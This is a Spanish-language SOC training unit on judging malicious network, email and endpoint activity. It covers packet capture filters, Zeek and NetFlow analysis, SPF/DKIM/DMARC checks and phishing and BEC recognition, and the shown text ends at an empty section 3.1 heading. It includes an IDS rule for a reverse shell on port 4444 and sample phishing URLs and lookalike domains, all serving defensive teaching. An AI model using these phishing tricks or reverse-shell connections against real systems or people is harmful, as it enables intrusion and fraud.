Análisis de actividad maliciosa: red, correo y EDR

Aprende a decidir si la actividad en una red o en una computadora es maliciosa, como lo haría un analista de un centro de operaciones de seguridad (SOC). Interpreta capturas de paquetes y registros de flujo de red, rastrea correos sospechosos a través de sus cabeceras y resultados de SPF, DKIM y DMARC, sigue árboles de procesos y mecanismos de persistencia en dispositivos finales con EDR y comprueba archivos, hashes, dominios y direcciones IP mediante servicios de reputación, análisis estático y entornos aislados de análisis. Por último, combina las evidencias en una cronología, emite un dictamen con un nivel de confianza declarado y documéntalo para que el equipo de respuesta a incidentes pueda actuar.

IntermedioUnidad 3 de 7 del curso Curso de Operaciones de seguridad y respuesta a incidentes

Lo que aprenderás

  1. Captura el tráfico adecuado, interpreta paquetes y comunicaciones, resume la actividad mediante registros de flujo de red y de conexiones, y reconoce los patrones de red que apuntan a escaneos, tráfico de mando y control, tunelización y robo de datos.
    • Captura y filtra el tráfico de red
      Elige dónde y cómo capturar paquetes, escribe filtros de captura y visualización y maneja los archivos de captura para que se mantengan completos y fiables.
    • Lee paquetes y reconstruye comunicaciones
      Interpreta las capas de un paquete, sigue las comunicaciones TCP y UDP, recupera lo transferido y evalúa el tráfico cifrado a partir de sus metadatos.
    • Analiza datos de flujos y registros de conexiones
      Utiliza registros de flujo de red y registros de conexiones de Zeek para saber quién se comunicó con quién, durante cuánto tiempo y cuánto intercambiaron, y para detectar volúmenes y destinos inusuales.
    • Reconoce indicadores de red e interpreta alertas del IDS
      Reconoce escaneos, dispositivos no autorizados, puertos inesperados, comunicación periódica de mando y control, uso indebido de DNS y movimiento lateral, y verifica las alertas de detección de intrusiones en lugar de confiar ciegamente en ellas.
  2. Interpreta las cabeceras del correo y los resultados de autenticación, reconoce la suplantación de identidad mediante mensajes fraudulentos y el fraude por suplantación del correo empresarial, analiza enlaces y archivos adjuntos sin exponerte y encuentra a todas las personas afectadas por una campaña.
    • Interpreta las cabeceras del correo electrónico y los resultados de autenticación
      Rastrea un mensaje a través de sus cabeceras e interpreta los resultados de SPF, DKIM y DMARC, incluido lo que demuestran y lo que no.
    • Reconoce la suplantación de identidad mediante mensajes fraudulentos y el fraude por suplantación del correo empresarial
      Reconoce los trucos relacionados con el remitente, los enlaces, el contenido y los archivos adjuntos que se usan en mensajes fraudulentos, así como el fraude de pago por suplantación del correo empresarial que no lleva malware.
    • Analiza enlaces y archivos adjuntos de forma segura y determina el alcance de la campaña
      Maneja mensajes sospechosos sin exponerte, decodifica y comprueba sus enlaces y archivos, extrae indicadores y encuentra a todas las personas a las que llegó la campaña.
  3. Utiliza herramientas de detección y respuesta en dispositivos finales y registros de estos dispositivos para interpretar árboles de procesos y líneas de comandos, encontrar las formas en que los atacantes mantienen el acceso y reconocer los cambios en archivos, software y configuración que revelan un equipo comprometido.
    • Utiliza EDR y la telemetría de los dispositivos finales
      Explica qué hacen EDR, XDR y MDM, conoce los eventos relevantes de los dispositivos finales y utiliza alertas de EDR, exploración de registros relacionados y acciones de respuesta en una investigación.
    • Analiza procesos y líneas de comandos
      Evalúa los procesos por su nombre, ruta, proceso padre, firmante y línea de comandos, reconoce los binarios legítimos del sistema utilizados con fines maliciosos y PowerShell codificado, y decodifica lo que realmente hace un comando sospechoso.
    • Encuentra mecanismos de persistencia
      Encuentra las ubicaciones de inicio automático que usan los atacantes en Windows, Linux y macOS, interpreta la evidencia que deja cada una y compruébalas de forma metódica frente a un estado que se sabe que es correcto.
    • Identifica cambios en los archivos, el software y la configuración de un equipo
      Reconoce los indicadores en el equipo más allá de los procesos: archivos sospechosos, software no autorizado, configuraciones debilitadas, uso anormal de recursos y datos preparados para su robo.
  4. Comprueba la reputación de archivos, dominios y direcciones IP, examina un archivo de forma segura sin ejecutarlo y utiliza un entorno aislado de análisis para observar qué hace, conociendo los límites de cada método.
    • Consulta la reputación de archivos, hashes, dominios y direcciones IP
      Utiliza correctamente los hashes y los servicios de reputación, interpreta sus resultados de forma crítica y protege los datos confidenciales al hacerlo.
    • Realiza un análisis estático básico
      Examina un archivo sospechoso sin ejecutarlo: identifica su tipo real, extrae cadenas, interpreta la estructura básica de un programa de Windows, reconoce el empaquetado, decodifica contenido ofuscado y compáralo con reglas YARA.
    • Realiza e interpreta análisis en un entorno aislado
      Ejecuta una muestra de forma segura, interpreta el informe de comportamiento, reconoce la evasión y convierte los resultados en indicadores que puedas comprobar en tu propio entorno.
  5. Combina evidencias de red, correo electrónico y dispositivos finales en una cronología, decide si la actividad es maliciosa con un nivel de confianza declarado, y documenta los hallazgos y escala la respuesta para que otras personas puedan actuar.
    • Correlaciona evidencias para elaborar una cronología
      Normaliza las horas, explora fuentes relacionadas mediante campos compartidos y elabora una cronología que explique cómo se desarrolló un ataque y dónde faltan evidencias.
    • Emite un dictamen y documenta los hallazgos
      Clasifica una alerta o evento con un nivel de confianza justificado, registra los hallazgos e indicadores para que otras personas puedan reproducirlos y escala la respuesta ante incidentes confirmados con las evidencias preservadas.

Guía de estudio de Análisis de actividad maliciosa

5 capítulos

1

Analiza el tráfico de red en capturas de paquetes y datos de flujos

Los paquetes muestran intercambios individuales; los registros de flujo de red revelan patrones durante un periodo más largo. Elegirás un punto de captura, filtrarás el tráfico, reconstruirás comunicaciones y medirás conexiones inusuales. Los escaneos, los contactos periódicos y los patrones DNS se convierten en pistas útiles cuando los relacionas con las funciones de los equipos y la actividad esperada. El mismo análisis también te permite verificar qué detectó realmente una regla de detección de intrusiones.

1.1 Captura y filtra el tráfico de red

Una captura de paquetes guarda las cabeceras y los datos que llegan a un sensor en un archivo .pcap o .pcapng. Puede mostrar el contenido de intercambios sin cifrar, junto con direcciones, puertos y tiempos. Recopílala y almacénala conforme a la política de supervisión de la organización: una captura puede contener contraseñas y datos personales.

Elige un punto de captura útil

Un dispositivo de copia pasiva de tráfico de red (TAP) copia de forma pasiva el tráfico de un enlace. Un puerto de duplicación de tráfico (SPAN) indica a un conmutador que duplique los puertos o VLAN seleccionados. SPAN puede descartar copias cuando su salida está sobrecargada; un TAP que agrega tráfico también puede perder paquetes si ambos sentidos juntos superan la capacidad del puerto de supervisión. Una captura en un equipo ve el tráfico de ese equipo. Un sensor en el límite con internet no ve el tráfico que permanece dentro de la red. Fuera de NAT, ve una dirección pública compartida, por lo que debes conservar los registros de NAT para identificar el equipo interno.

Guarda ampliamente, inspecciona de forma selectiva

Un filtro de captura decide qué se guarda. Un filtro de visualización cambia la vista de los paquetes ya guardados. Sus sintaxis son distintas:

FinalidadFiltro para el tráfico TCP del puerto 443 de un equipo
Captura, sintaxis BPFhost 192.168.1.50 and tcp port 443
Visualización en Wiresharkip.addr == 192.168.1.50 && tcp.port == 443

El filtro BPF port 443 también incluye UDP, incluido QUIC. Un filtro de captura restrictivo puede descartar permanentemente otro canal del atacante. Un filtro de visualización puede quitarse cuando la investigación cambie de dirección.

Para una captura dirigida, utiliza:

sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22

-i selecciona la interfaz; -nn mantiene las direcciones y los puertos en formato numérico y evita las búsquedas de nombres; -s 0 conserva los paquetes completos; -w escribe los paquetes sin procesar. El filtro excluye el puerto 22, por ejemplo, una sesión SSH del analista. Lee el tráfico DNS guardado con tcpdump -nn -r case42.pcap port 53.

En Wireshark, dns muestra DNS; http.request muestra solicitudes HTTP. Utiliza tcp.flags.syn == 1 && tcp.flags.ack == 0 para los intentos iniciales de TCP, tls.handshake.type == 1 para los mensajes TLS Client Hello e ip.dst == 10.0.0.0/8 para los destinos de ese rango. frame contains "password" encuentra ese texto en los bytes capturados. Combina condiciones con &&, || y !.

Planifica la conservación y preserva las evidencias

Con un uso del 40 %, un enlace de 100 Mbit/s transporta 40 Mbit/s. Al dividir entre ocho se obtienen 5 MB/s; durante 3600 segundos son 18 000 MB, o 18 GB. Los búferes circulares sobrescriben la captura más antigua, mientras que las capturas dirigidas reducen las necesidades de almacenamiento. Exporta las evidencias relevantes antes de que un búfer las sobrescriba.

TLS deja visibles las direcciones, los tamaños, los tiempos y los metadatos disponibles del intercambio de establecimiento, pero oculta el contenido de aplicación salvo que lo proporcionen las claves de sesión o un punto de inspección. La visibilidad de DNS y del nombre del servidor también depende de los protocolos utilizados. Calcula el hash SHA-256 de la captura original, registra la interfaz y el intervalo de captura y analiza una copia. Comprueba la sincronización del reloj y las estadísticas de paquetes descartados; el contador «descartados por el núcleo» de tcpdump revela el tráfico que el sistema de captura no registró.

Puntos clave

  • El punto de captura determina qué tráfico es visible y para qué identidades de equipos se necesitan registros de NAT.
  • Los filtros de captura descartan los paquetes excluidos; los de visualización solo ocultan paquetes guardados.
  • Los filtros BPF y los filtros de visualización de Wireshark usan sintaxis distintas.
  • Ten en cuenta ambos sentidos del enlace, el volumen de almacenamiento y los paquetes descartados.
  • Preserva la captura original, su hash SHA-256 y las horas precisas de captura.

1.2 Lee paquetes y reconstruye comunicaciones

Lee un paquete desde la información externa de entrega hacia sus datos de aplicación. En Ethernet, Wireshark muestra las direcciones MAC, después las direcciones IP y el TTL, luego los puertos TCP o UDP y, por último, DNS, HTTP, TLS u otro protocolo de aplicación. El panel de detalles despliega estas capas; el panel de bytes muestra sus valores hexadecimales sin procesar.

Sigue el intercambio

TCP comienza con SYN, SYN-ACK y ACK. En 10.0.0.23:51544 → 203.0.113.80:443 SYN, el puerto de origen alto pertenece al cliente. La respuesta intercambia las direcciones y los puertos. FIN solicita un cierre ordenado; RST termina la conexión de forma abrupta. Un reinicio en respuesta a un SYN suele indicar un puerto cerrado. La ausencia de respuesta puede deberse a filtrado, pérdida o falta de visibilidad, por lo que debes inspeccionar tanto los paquetes como la posición de captura.

UDP no tiene intercambio de establecimiento en la capa de transporte. DNS suele usar UDP 53 y también usa TCP 53, por ejemplo, para respuestas grandes y transferencias de zona. Lee el tipo de registro de la consulta: A solicita IPv4, AAAA IPv6, MX servidores de correo, TXT texto y CNAME un alias. NXDOMAIN significa que el nombre solicitado no existe.

Una respuesta DNS seguida de una conexión a la IP que devolvió sugiere una relación. Confirma el nombre solicitado con una cabecera Host de HTTP, la SNI de TLS visible, registros de proxy o datos del dispositivo final: varios dominios pueden compartir esa dirección.

Reconstruye la actividad de aplicación

Follow TCP Stream de Wireshark ensambla una comunicación en orden y separa los dos sentidos por color. Statistics → Conversations ordena los pares que se comunican por paquetes y bytes; Protocol Hierarchy muestra la combinación de protocolos.

Supón que un flujo contiene:

GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0

La respuesta es 200 OK, declara application/octet-stream y comienza con MZ. Esos bytes sugieren un ejecutable de Windows. La ruta .php puede devolver cualquier contenido; no tiene por qué ser el nombre del archivo descargado. Comprueba el tipo, el hash y la firma del objeto exportado, y después relaciona la solicitud con su proceso y el historial del destino.

Las solicitudes GET recuperan contenido; las solicitudes POST envían un cuerpo. Interpreta conjuntamente Host, la ruta, User-Agent, el estado de respuesta y los tamaños de los cuerpos. Los cuerpos POST grandes y repetidos hacia un destino nuevo merecen investigación. El estado 301 o 302 redirige al cliente, mientras que 404 indica que falta un recurso.

File → Export Objects → HTTP, o su equivalente para SMB, puede recuperar objetos transferidos cuando se dispone del contenido necesario sin cifrar. Conserva las muestras recuperadas en el entorno aislado de análisis y registra sus hashes.

Interpreta correctamente el tráfico cifrado

Un Client Hello normalmente expone la SNI, el nombre del servidor solicitado, salvo que Client Hello cifrado lo proteja. TLS 1.2 expone el certificado del servidor en el intercambio de establecimiento; TLS 1.3 lo cifra. Las huellas JA3 y JA4 resumen características del Client Hello y pueden ayudar a agrupar clientes similares. Un certificado nuevo, la ausencia de SNI o una huella compartida son pistas que deben comprobarse frente al contexto del proceso y del destino.

El puerto 443 sugiere HTTPS, pero no permite determinar el protocolo. Inspecciona el intercambio real o utiliza Decode As cuando un analizador necesite ayuda para reconocer un protocolo en un puerto inusual.

Puntos clave

  • Identifica al iniciador a partir del intercambio de establecimiento y sigue el sentido inverso de la respuesta.
  • Relaciona las respuestas DNS con los nombres de aplicación antes de atribuir una conexión a un dominio.
  • Reconstruye flujos y exporta objetos para inspeccionar lo que se transfirió.
  • La visibilidad de TLS cambia según la versión de TLS y el uso de Client Hello cifrado.
  • Confirma los protocolos a partir del intercambio, no solo del número de puerto.

1.3 Analiza datos de flujos y registros de conexiones

Los registros de flujo de red resumen el tráfico sin conservar sus datos de aplicación. Permiten buscar de forma práctica en semanas de actividad antes de recuperar una captura breve de paquetes. La quíntupla de 5 elementos habitual es IP de origen, IP de destino, puerto de origen, puerto de destino y protocolo de transporte. Los registros también contienen tiempos, recuentos y, a menudo, indicadores TCP.

Conoce cómo cuenta la fuente

NetFlow v5 tiene un formato fijo para IPv4; NetFlow v9 usa plantillas y admite IPv6. IPFIX es el estándar del IETF derivado de ese enfoque basado en plantillas. Los registros de flujos en la nube proporcionan resúmenes de red relacionados. sFlow toma muestras de paquetes y añade contadores de interfaz, por lo que sus observaciones deben ampliarse con cuidado.

Con un muestreo de 1 de cada 1000, 1200 paquetes muestreados representan aproximadamente 1,2 millones de paquetes. La estimación describe el volumen; una conexión breve podría no dejar ningún paquete muestreado. Una muestra vacía es una evidencia débil para determinar si ocurrió una conexión concreta.

Los exportadores suelen registrar cada sentido por separado y dividir las conexiones largas al vencer los tiempos límite de actividad. Empareja los registros inversos intercambiando ambas direcciones y ambos puertos, sin cambiar el protocolo. Después une los fragmentos que pertenecen a la misma conexión. Suma los bytes por separado para cada sentido y mide el tiempo transcurrido desde el inicio más temprano hasta el fin más tardío. Sumar duraciones de registros que se solapan aumenta artificialmente el tiempo.

Interpreta los registros de conexiones de Zeek

Zeek produce registros estructurados de conexiones y protocolos. En conn.log, ts es la hora de inicio y uid vincula la conexión con registros como http.log o ssl.log. Los campos id.orig_h e id.orig_p identifican al originador; id.resp_h e id.resp_p identifican al equipo que responde. El originador inició la comunicación y puede ser un equipo externo. proto, service, duration, orig_bytes y resp_bytes describen su transporte, la aplicación reconocida y la actividad.

Estado TCPInterpretación
S0Se observó un intento sin respuesta.
REJEl objetivo rechazó el intento.
SFSe estableció y cerró una conexión con normalidad.
OTHSe observó tráfico sin un SYN, a menudo porque la observación comenzó a mitad del flujo.

En los intentos sin respuesta, Zeek puede indicar cero bytes de datos aunque haya paquetes reales. Los exportadores de flujos suelen contar también las cabeceras IP, por lo que sus recuentos de bytes difieren. Interpreta los recuentos de paquetes y el estado junto con los campos de bytes documentados.

Mide una carga inusual

De 02:10 a 02:50 UTC, 10.0.0.23 envía 2,4 GB a 198.51.100.7:443 y recibe 12 MB. Convierte 2,4 GB a 2400 MB: el volumen saliente es 200 veces el entrante. Cuarenta minutos son 2400 segundos, por lo que la tasa media de salida es de 1 MB/s, u 8 Mbit/s.

La tasa no es el dictamen. Compara el volumen habitual del equipo, el historial del destino y su función. Una copia de seguridad programada puede explicar una carga nocturna; un destino nuevo y un proceso emisor no aprobado refuerzan la hipótesis de robo de datos. Explora el EDR para identificar el proceso responsable, los datos de DNS o proxy para conocer el nombre y los paquetes para ver el contenido, si están disponibles. Una línea base debe comparar funciones similares: un servidor de copias de seguridad y la estación de trabajo de un recepcionista tienen un tráfico normal distinto.

Puntos clave

  • Los datos de flujos describen direcciones, tiempos y volumen, sin datos de aplicación.
  • Los recuentos muestreados son estimaciones y pueden omitir eventos breves.
  • Empareja los sentidos, combina los fragmentos debidos a tiempos límite y usa el intervalo completo transcurrido.
  • Usa el uid de Zeek para unir registros de protocolos y conn_state para interpretar los intentos.
  • Interpreta los contadores de bytes según la fuente que los produjo.
  • Compara el tráfico inusual con la función del equipo, la línea base y el proceso responsable.

1.4 Reconoce indicadores de red e interpreta alertas del IDS

Los patrones de red indican dónde investigar. Un escáner aprobado y un intruso pueden generar paquetes muy similares.

Reconoce la forma del tráfico

Un escaneo vertical sondea muchos puertos de un equipo. Un escaneo horizontal sondea el mismo puerto en muchos equipos. Si 10.0.0.99 envía paquetes SYN a 1000 puertos de 10.0.0.5 en 12 segundos, la tasa es de unos 83 intentos por segundo. Muchos registros S0 o REJ y unas pocas conexiones correctas encajan con un escaneo. Comprueba el inventario de escáneres y el calendario autorizado.

Un dispositivo no autorizado está conectado sin permiso. Compara las nuevas concesiones DHCP y las direcciones MAC con el inventario de activos; un prefijo de fabricante desconocido, un punto de acceso no autorizado o un segundo servidor DHCP requieren investigación. El NAC ayuda a controlar qué dispositivos pueden conectarse.

Evalúa los servicios según la función del equipo. SSH suele usar el puerto 22, SMTP el 25, DNS el 53, HTTP el 80, HTTPS el 443, SMB el 445, RDP el 3389 y WinRM el 5985/5986. El tráfico SMTP saliente directo desde una estación de trabajo puede indicar un bot de spam. Las conexiones SMB o RDP desde una estación de trabajo a muchas otras pueden indicar movimiento lateral. Verifica qué servicio está realmente presente.

Distingue los temporizadores de la actividad del usuario

Las conexiones a las 10:00:00, 10:05:02, 10:09:59, 10:15:01 y 10:20:00 tienen intervalos de 302, 297, 302 y 299 segundos. La media es de 300 segundos y la variación es de unos dos segundos. Intercambios pequeños y similares a esos intervalos sugieren un temporizador. La comunicación periódica de mando y control consiste en contactos repetidos de C2; los agentes de actualización también usan temporizadores. Identifica el proceso que inicia la conexión y la finalidad del destino. El malware puede añadir variación de los intervalos de comunicación, por ejemplo ±20 %, por lo que un patrón menos regular también merece atención.

Investiga el uso indebido de DNS

La tunelización DNS coloca datos en nombres de consulta, a menudo con etiquetas largas codificadas y muchos subdominios únicos. Una etiqueta puede contener como máximo 63 caracteres; un nombre completo en formato textual ordinario tiene un límite de 253 caracteres. Las consultas TXT o NULL repetidas y el volumen elevado refuerzan el patrón. Muchos nombres de aspecto aleatorio que devuelven NXDOMAIN sugieren un DGA que prueba nombres hasta que uno se resuelve. El DNS externo sobre HTTPS también puede hacer que la actividad no aparezca en los registros DNS habituales de la organización.

Lee y verifica una regla
alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)

La cabecera especifica que se genere una alerta por tráfico TCP desde la red interna hacia el puerto externo 4444. La condición flow exige tráfico establecido hacia el servidor; sid identifica la regla y rev su revisión. El mensaje indica un posible intérprete de comandos inverso, pero esta regla comprueba un patrón de conexión, no comandos del intérprete.

Snort y Suricata comparan el tráfico con reglas; Zeek proporciona principalmente registros y scripts de comportamiento. Verifica una alerta de IDS con sus paquetes, la plataforma del objetivo y los cambios en el dispositivo final posteriores al intercambio. El modo de detección observa copias; un IPS situado en el trayecto puede bloquear el tráfico, por lo que una coincidencia errónea puede interrumpir las operaciones.

Puntos clave

  • Comprueba la autorización antes de tratar un patrón de escaneo como un incidente.
  • Utiliza el inventario de dispositivos y las funciones de los equipos para identificar actividad de red inesperada.
  • La regularidad temporal sugiere automatización; el contexto del proceso y del destino permite distinguir el C2.
  • Investiga conjuntamente las etiquetas DNS largas, los nombres únicos, el volumen de consultas y los patrones NXDOMAIN.
  • Lee las condiciones de la regla antes de aceptar el mensaje de alerta como un hallazgo.
  • Confirma la explotación sospechada con evidencias del objetivo y del dispositivo final.
2

Investiga correos electrónicos sospechosos

Una investigación de correo electrónico comienza con el mensaje original y termina con las personas y los dispositivos afectados. Rastrearás las cabeceras fiables, distinguirás las identidades del remitente que intervienen en SPF, DKIM y DMARC e inspeccionarás la acción que el mensaje pide realizar. El análisis de enlaces y archivos adjuntos proporciona después los campos de búsqueda para encontrar la campaña más amplia, incluido el fraude de pago que no contiene archivos maliciosos.

2.1 Interpreta las cabeceras del correo electrónico y los resultados de autenticación

La dirección que ve un lector y la identidad que se comprueba durante la entrega del correo son campos distintos. Comienza con el archivo original .eml o .msg para conservar las cabeceras que una copia reenviada puede sustituir. Un analizador de cabeceras puede ordenar las evidencias, pero aún necesitas saber qué servidor escribió cada resultado.

Encuentra las identidades y los saltos fiables

El remitente del sobre SMTP se utiliza para las devoluciones y aparece en Return-Path. La cabecera From es el remitente visible. Reply-To controla las respuestas y Message-ID ayuda a localizar registros de correo relacionados. Un servicio de correo puede utilizar legítimamente un dominio de sobre distinto del dominio visible de su cliente.

Cada servidor de retransmisión añade una línea Received al principio. Lee la secuencia del recorrido de abajo hacia arriba, pero establece la confianza a partir de las entradas de tu propia pasarela: un remitente puede falsificar las líneas situadas por debajo de la primera entrada fiable. Un campo opcional X-Mailer también está bajo el control del remitente. Utiliza la IP de envío registrada por tu servidor receptor de confianza.

Aplica las tres comprobaciones
ComprobaciónIdentidad y resultado
SPFComprueba la IP del servidor que se conecta frente a los remitentes autorizados del dominio del sobre.
DKIMComprueba la firma de un dominio sobre determinadas cabeceras y el hash del cuerpo.
DMARCExige que una identidad de SPF o DKIM supere la comprobación y esté alineada con el dominio From visible.

Un registro TXT de SPF como v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all autoriza ese rango y los remitentes incluidos. -all asigna un resultado fail a los demás remitentes; ~all asigna softfail. Los resultados también pueden ser neutral, none, temperror o permerror. El reenvío suele hacer fallar SPF porque la IP del servidor que reenvía no está autorizada por el dominio del sobre original.

El campo d= de DKIM indica el dominio firmante y s= selecciona su clave en <selector>._domainkey.<domain>. Una firma que supera la comprobación significa que el material firmado se mantuvo sin cambios. El reenvío puede conservarla, mientras que la modificación del mensaje puede invalidarla.

La alineación relajada de DMARC acepta el mismo dominio organizativo; la alineación estricta exige una coincidencia exacta del dominio. La política TXT en _dmarc.<domain> puede solicitar none, quarantine o reject; el receptor decide cómo tratar el mensaje. RFC 9989 sustituyó al estándar DMARC anterior en mayo de 2026, eliminó pct e introdujo el modo de prueba t=y. Comprueba una política con nslookup -type=txt _dmarc.example.com.

Analiza un resultado de autenticación

Tu pasarela informa de SPF pass para mailer.example-billing.net, DKIM pass para example-billing.net y From examp1e.com. Ninguno de los dominios que superaron la comprobación está alineado con el dominio visible, por lo que DMARC falla. SPF y DKIM autenticaron identidades distintas; no autenticaron esa dirección visible.

Lee solo la cabecera Authentication-Results añadida por una pasarela de confianza. Un dominio parecido, propiedad de un atacante y correctamente configurado, puede superar las tres comprobaciones, al igual que un buzón legítimo comprometido. Combina la autenticación con el historial del remitente, el contenido del mensaje y el análisis de enlaces. A la inversa, investiga si el reenvío o los cambios de una lista de correo explican un fallo antes de atribuirlo a una suplantación.

Puntos clave

  • Distingue las identidades del remitente del sobre, el From visible y Reply-To.
  • Confía en las líneas de cabecera y los resultados de autenticación escritos por tus propios sistemas receptores.
  • SPF comprueba una IP de envío; DKIM comprueba el contenido firmado; DMARC comprueba la alineación.
  • DMARC necesita un método que supere la comprobación y esté alineado, no dos resultados correctos para dominios no relacionados.
  • La autenticación puede superarse para dominios propiedad de atacantes o buzones comprometidos.

2.2 Reconoce la suplantación de identidad mediante mensajes fraudulentos y el fraude por suplantación del correo empresarial

La suplantación de identidad mediante mensajes fraudulentos intenta convertir un mensaje en una acción perjudicial: entregar credenciales, enviar dinero o ejecutar un archivo. La pista más clara suele ser una desviación del proceso habitual del destinatario. A un atacante le resulta fácil proporcionar un texto fluido y un nombre familiar.

Lee con atención el remitente y el destino

La suplantación del nombre visible coloca un nombre de confianza sobre una dirección no relacionada, como "IT Service Desk" <it.desk.2291@freemail.example>. El registro de dominios con errores tipográficos cambia la escritura de un dominio; los dominios parecidos añaden palabras tranquilizadoras. Los homoglifos sustituyen caracteres por otros de aspecto similar de otros alfabetos. Una primera letra cirílica convierte аpple.com en un dominio distinto; su forma punycode es xn--pple-43d.com.

La etiqueta visible de un enlace puede diferir de su destino real. Los acortadores y las redirecciones abiertas ocultan destinos posteriores. En https://www.example.com@198.51.100.7/login, el equipo de destino es 198.51.100.7; la parte anterior a @ es información de usuario. En https://example.com.login-verify.net/, el dominio registrado es login-verify.net. Leer las palabras tranquilizadoras situadas más a la izquierda lleva a identificar incorrectamente quién controla el destino.

Reconoce la acción solicitada

La urgencia, la supuesta autoridad de un directivo, las amenazas de cierre de cuentas, las tarjetas de regalo y los cambios de datos bancarios presionan al destinatario para que omita las comprobaciones establecidas. La suplantación de identidad dirigida utiliza información investigada sobre un objetivo concreto; el whaling se dirige a directivos. Entre las formas de envío relacionadas están el smishing por texto, el vishing por voz y el quishing mediante códigos QR. Un código QR puede trasladar un enlace a un teléfono fuera del filtrado de enlaces de correo.

Los archivos adjuntos pueden incluir documentos con macros, páginas HTML de inicio de sesión o contrabando HTML, archivos comprimidos protegidos con contraseña, imágenes de disco, accesos directos LNK o PDF que contienen enlaces. Las versiones modernas de Office bloquean por defecto las macros en archivos marcados como procedentes de internet, por lo que los mensajes pueden indicar a los usuarios cómo quitar el bloqueo. Una contraseña del archivo comprimido dificulta su inspección, aunque algunas pasarelas pueden extraerla del mensaje y analizar su contenido.

Investiga el fraude de pago sin malware

El fraude por suplantación del correo empresarial, o BEC, suplanta a un colega, directivo o proveedor para obtener dinero, cambios en datos de pago o información sensible. Puede usar una dirección parecida o un buzón real comprometido. A menudo no contiene enlaces ni archivos adjuntos, lo que deja poco que inspeccionar a los escáneres. Un Reply-To modificado o una regla nueva que oculta respuestas son evidencias de apoyo útiles.

En un hilo de facturación existente, un proveedor conocido solicita que un pago de 48 000 euros se envíe a una nueva cuenta bancaria. La autenticación se supera. El buzón ha sido comprometido y el atacante ha usado el secuestro de hilos de conversación para aprovechar la confianza de la conversación. Verifica la solicitud mediante un número de teléfono que ya figure en el registro del proveedor antes de cambiar los datos de pago. Un número proporcionado en el mensaje forma parte de la solicitud no verificada.

Una dirección interna también puede estar comprometida; incluye a los destinatarios internos y las respuestas en la investigación de la cuenta.

Puntos clave

  • Inspecciona la dirección real del remitente y el equipo de destino de la URL, más allá de los nombres visibles y el texto del enlace.
  • La presión para omitir las comprobaciones habituales de pagos o cuentas es una señal de phishing.
  • El BEC puede usar un buzón real y no contener enlaces ni archivos adjuntos.
  • Verifica los cambios en instrucciones de pago mediante un contacto obtenido de forma independiente.

2.3 Analiza enlaces y archivos adjuntos de forma segura y determina el alcance de la campaña

Una investigación de phishing tiene dos tareas: comprender el mensaje y encontrar a todas las personas a las que llegó. Una copia notificada es un punto de partida. La acción realizada por un destinatario determina qué evidencias de cuenta o equipo necesitas a continuación.

Preserva e inspecciona el mensaje

Exporta el original con todas sus cabeceras y después copia las URL como texto para inspeccionarlas en un entorno aislado de análisis. Registra los indicadores en forma neutralizada, como hxxps://login-verify[.]net/acct, para evitar clics accidentales en los tickets. Preserva el original intacto junto con la copia de trabajo.

Las pasarelas de correo pueden incluir una URL dentro de un parámetro de otra URL. La codificación porcentual representa caracteres mediante un signo de porcentaje y dos dígitos hexadecimales: %3A es dos puntos y %2F una barra. Decodifica una capa cada vez e inspecciona el resultado antes de interpretar otra capa.

Por ejemplo, al decodificar la URL:

https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D

se obtiene https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw==. Al decodificar en Base64 el valor u se obtiene jane@example.org. El parámetro identifica al destinatario previsto y puede personalizar la página falsa. Las operaciones URL Decode, From Base64 y Defang URL de CyberChef permiten ver estas transformaciones por separado.

Antes de enviar una URL a un servicio público, elimina los valores que identifiquen a la víctima; un resultado público o una solicitud personalizada pueden revelar la investigación al atacante. Obtén una vista previa de los enlaces acortados mediante un servicio de análisis aprobado. La visibilidad del servicio y cómo maneja los envíos importan tanto como la propia URL.

Inspecciona los archivos y extrae los campos de búsqueda

Calcula el SHA-256 de un archivo adjunto y consulta su reputación antes de subirlo. Comprueba su tipo a partir de los primeros bytes. Para un archivo de Office, olevba puede enumerar macros y señalar desencadenantes automáticos como AutoOpen o Document_Open y llamadas como Shell. Utiliza un entorno aislado privado para contenido interno confidencial.

Recopila la dirección y el nombre visible del remitente, la IP de la entrada Received fiable, el asunto, Message-ID, los equipos de destino y rutas de las URL y los nombres y hashes de los archivos adjuntos. Conserva los valores exactos en las evidencias; utiliza copias neutralizadas en las notas. Un nombre de archivo puede cambiar entre mensajes, mientras que un hash idéntico sigue vinculando contenido de archivo idéntico.

Determina el alcance entre destinatarios e interacciones

Busca en los registros de la pasarela y de los buzones usando varios de esos campos. Enumera los destinatarios y después distingue la entrega de la interacción mediante registros DNS y de proxy, inicios de sesión posteriores a visitas al enlace y eventos de EDR correspondientes a la apertura y ejecución del archivo adjunto.

Una búsqueda puede encontrar 40 mensajes entregados, seis personas que visitaron el enlace y dos cuentas con inicios de sesión correctos desconocidos minutos después. Preserva los registros, retira los mensajes de la campaña y bloquea la URL o el dominio malicioso mediante el proceso de respuesta. Las dos cuentas afectadas necesitan que se restablezcan sus contraseñas y se revoquen sus sesiones activas. Una lista de destinatarios por sí sola no mostraría la diferencia entre exposición y posible compromiso.

Cerrar el ticket porque el usuario que lo notificó eliminó el mensaje deja sin examinar a los demás destinatarios. Registra quién lo recibió, quién interactuó, qué ocurrió después y qué evidencias faltan.

Puntos clave

  • Preserva el mensaje original y trabaja con indicadores copiados y neutralizados.
  • Decodifica las capas de URL por separado y reconoce los parámetros que identifican al destinatario.
  • Protege los archivos adjuntos confidenciales y las URL personalizadas frente a envíos públicos.
  • Determina el alcance de la campaña con campos de mensajes, hashes y URL.
  • Distingue entre entrega, interacción y compromiso posterior.
3

Investiga la actividad de los dispositivos finales con EDR

Los registros de dispositivos finales explican qué programa causó un cambio en un archivo, una conexión o una configuración. Seguirás la ascendencia de los procesos, inspeccionarás los argumentos de los comandos y encontrarás los desencadenantes que permiten volver a un atacante. Windows, Linux y macOS dejan artefactos distintos, pero la investigación plantea las mismas preguntas prácticas: qué cambió, quién lo causó, si estaba autorizado y qué otros equipos muestran la misma actividad.

3.1 Utiliza EDR y la telemetría de los dispositivos finales

